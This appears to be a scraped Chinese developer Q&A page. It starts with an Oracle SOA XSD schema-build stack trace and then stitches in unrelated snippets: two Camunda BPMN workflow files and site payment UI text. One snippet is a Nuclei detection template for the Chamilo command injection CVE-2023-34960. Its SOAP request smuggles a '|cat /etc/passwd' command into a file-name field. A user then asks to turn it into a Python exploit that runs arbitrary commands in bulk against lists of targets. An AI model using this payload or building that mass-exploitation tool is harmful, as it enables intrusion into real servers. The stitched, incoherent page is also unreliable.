XSD或命名空间不一致导致如下异常.//

本文记录了一次在使用Oracle SOA进行Composite验证时遇到的问题,主要表现为无法构建XML Schema,错误发生在ValidateComposite类的第135行。问题具体指向了一个位于'http://role.dto.party.app.fc.ofss.com.__OAUX_GENXSD_.TOP.XSD'的XSD文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

at oracle.soa.scac.ValidateComposite.main(ValidateComposite.java:135)
Caused by: oracle.xml.parser.schema.XSDException: Can not build schema 'http://role.dto.party.app.fc.ofss.com' located at 'http://role.dto.party.app.fc.ofss.com.__OAUX_GENXSD_.TOP.XSD'
at oracle.xml.parser.schema.XSDBuilder.buildSchema(XSDBuilder.java:794)
at oracle.xml.parser.schema.XSDBuilder.build(XSDBuilder.java:509)
at oracle.xml.parser.schema.XSDBuilder.build(XSDBuilder.java:374)

id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:"Chamilo" - http.component:"chamilo" - cpe:"cpe:2.3:a:chamilo:chamilo" tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope> matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950根据poc实现python的exp,并且读取当前目录下的文件 批量执行 ,例如,python CVE-2023-34960.py -f .8.txt -c "需要执行的命令" 并将执行成功的结果输出 -o 9.txt 添加选项-o 8.txt的文本文件
03-27
<?xml version="1.0" encoding="UTF-8"?> <bpmn2:definitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bpmn2="http://www.omg.org/spec/BPMN/20100524/MODEL" xmlns:bpmndi="http://www.omg.org/spec/BPMN/20100524/DI" xmlns:dc="http://www.omg.org/spec/DD/20100524/DC" xmlns:camunda="http://camunda.org/schema/1.0/bpmn" xmlns:di="http://www.omg.org/spec/DD/20100524/DI" id="diagram_Process_1753256929246" targetNamespace="http://bpmn.io/schema/bpmn" xsi:schemaLocation="http://www.omg.org/spec/BPMN/20100524/MODEL BPMN20.xsd"> <bpmn2:process id="Process_1753256929246" name="审批信息测试" isExecutable="true"> <bpmn2:startEvent id="Event_087tae4"> <bpmn2:outgoing>Flow_0tgboju</bpmn2:outgoing> </bpmn2:startEvent> <bpmn2:userTask id="Activity_165lxhj" camunda:candidateGroups="ROLE1"> <bpmn2:extensionElements> <camunda:property name="dataType" value="ROLES" /> </bpmn2:extensionElements> <bpmn2:incoming>Flow_0tgboju</bpmn2:incoming> <bpmn2:outgoing>Flow_06p4wom</bpmn2:outgoing> <bpmn2:multiInstanceLoopCharacteristics camunda:collection="${multiInstanceHandler.getUserIds(execution)}" camunda:elementVariable="assignee"> <bpmn2:completionCondition xsi:type="bpmn2:tFormalExpression">${nrOfCompletedInstances >= nrOfInstances}</bpmn2:completionCondition> </bpmn2:multiInstanceLoopCharacteristics> </bpmn2:userTask> <bpmn2:sequenceFlow id="Flow_0tgboju" sourceRef="Event_087tae4" targetRef="Activity_165lxhj" /> <bpmn2:endEvent id="Event_0rggji0"> <bpmn2:incoming>Flow_06p4wom</bpmn2:incoming> </bpmn2:endEvent> <bpmn2:sequenceFlow id="Flow_06p4wom" sourceRef="Activity_165lxhj" targetRef="Event_0rggji0" /> </bpmn2:process> <bpmndi:BPMNDiagram id="BPMNDiagram_1"> <bpmndi:BPMNPlane id="BPMNPlane_1" bpmnElement="Process_1753256929246"> <bpmndi:BPMNEdge id="Flow_06p4wom_di" bpmnElement="Flow_06p4wom"> <di:waypoint x="500" y="170" /> <di:waypoint x="612" y="170" /> </bpmndi:BPMNEdge> <bpmndi:BPMNEdge id="Flow_0tgboju_di" bpmnElement="Flow_0tgboju"> <di:waypoint x="288" y="170" /> <di:waypoint x="400" y="170" /> </bpmndi:BPMNEdge> <bpmndi:BPMNShape id="Event_087tae4_di" bpmnElement="Event_087tae4"> <dc:Bounds x="252" y="152" width="36" height="36" /> </bpmndi:BPMNShape> <bpmndi:BPMNShape id="Activity_165lxhj_di" bpmnElement="Activity_165lxhj"> <dc:Bounds x="400" y="130" width="100" height="80" /> </bpmndi:BPMNShape> <bpmndi:BPMNShape id="Event_0rggji0_di" bpmnElement="Event_0rggji0"> <dc:Bounds x="612" y="152" width="36" height="36" /> </bpmndi:BPMNShape> </bpmndi:BPMNPlane> </bpmndi:BPMNDiagram> </bpmn2:definitions>
07-24
<?xml version="1.0" encoding="UTF-8"?> <bpmn2:definitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bpmn2="http://www.omg.org/spec/BPMN/20100524/MODEL" xmlns:bpmndi="http://www.omg.org/spec/BPMN/20100524/DI" xmlns:dc="http://www.omg.org/spec/DD/20100524/DC" xmlns:di="http://www.omg.org/spec/DD/20100524/DI" xmlns:camunda="http://camunda.org/schema/1.0/bpmn" id="diagram_Process_1753264386312" targetNamespace="http://bpmn.io/schema/bpmn" xsi:schemaLocation="http://www.omg.org/spec/BPMN/20100524/MODEL BPMN20.xsd"> <bpmn2:process id="Process_1753264386312" name="测试会签和签" isExecutable="true"> <bpmn2:startEvent id="Event_1my7188"> <bpmn2:outgoing>Flow_0rpj2hh</bpmn2:outgoing> </bpmn2:startEvent> <bpmn2:userTask id="Activity_0apk00f" camunda:candidateGroups="ROLE1"> <bpmn2:extensionElements> <camunda:property name="dataType" value="ROLES" /> </bpmn2:extensionElements> <bpmn2:incoming>Flow_0rpj2hh</bpmn2:incoming> <bpmn2:outgoing>Flow_0ya9ii6</bpmn2:outgoing> <bpmn2:multiInstanceLoopCharacteristics camunda:collection="${multiInstanceHandler.getUserIds(execution)}" camunda:elementVariable="assignee"> <bpmn2:completionCondition xsi:type="bpmn2:tFormalExpression">${nrOfCompletedInstances > 0}</bpmn2:completionCondition> </bpmn2:multiInstanceLoopCharacteristics> </bpmn2:userTask> <bpmn2:sequenceFlow id="Flow_0rpj2hh" sourceRef="Event_1my7188" targetRef="Activity_0apk00f" /> <bpmn2:endEvent id="Event_0c23he4"> <bpmn2:incoming>Flow_0ya9ii6</bpmn2:incoming> </bpmn2:endEvent> <bpmn2:sequenceFlow id="Flow_0ya9ii6" sourceRef="Activity_0apk00f" targetRef="Event_0c23he4" /> </bpmn2:process> <bpmndi:BPMNDiagram id="BPMNDiagram_1"> <bpmndi:BPMNPlane id="BPMNPlane_1" bpmnElement="Process_1753264386312"> <bpmndi:BPMNEdge id="Flow_0ya9ii6_di" bpmnElement="Flow_0ya9ii6"> <di:waypoint x="450" y="180" /> <di:waypoint x="502" y="180" /> </bpmndi:BPMNEdge> <bpmndi:BPMNEdge id="Flow_0rpj2hh_di" bpmnElement="Flow_0rpj2hh"> <di:waypoint x="298" y="180" /> <di:waypoint x="350" y="180" /> </bpmndi:BPMNEdge> <bpmndi:BPMNShape id="Event_1my7188_di" bpmnElement="Event_1my7188"> <dc:Bounds x="262" y="162" width="36" height="36" /> </bpmndi:BPMNShape> <bpmndi:BPMNShape id="Activity_0apk00f_di" bpmnElement="Activity_0apk00f"> <dc:Bounds x="350" y="140" width="100" height="80" /> </bpmndi:BPMNShape> <bpmndi:BPMNShape id="Event_0c23he4_di" bpmnElement="Event_0c23he4"> <dc:Bounds x="502" y="162" width="36" height="36" /> </bpmndi:BPMNShape> </bpmndi:BPMNPlane> </bpmndi:BPMNDiagram> </bpmn2:definitions>这个是xml文件,帮我定位问题出在哪
最新发布
07-24
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值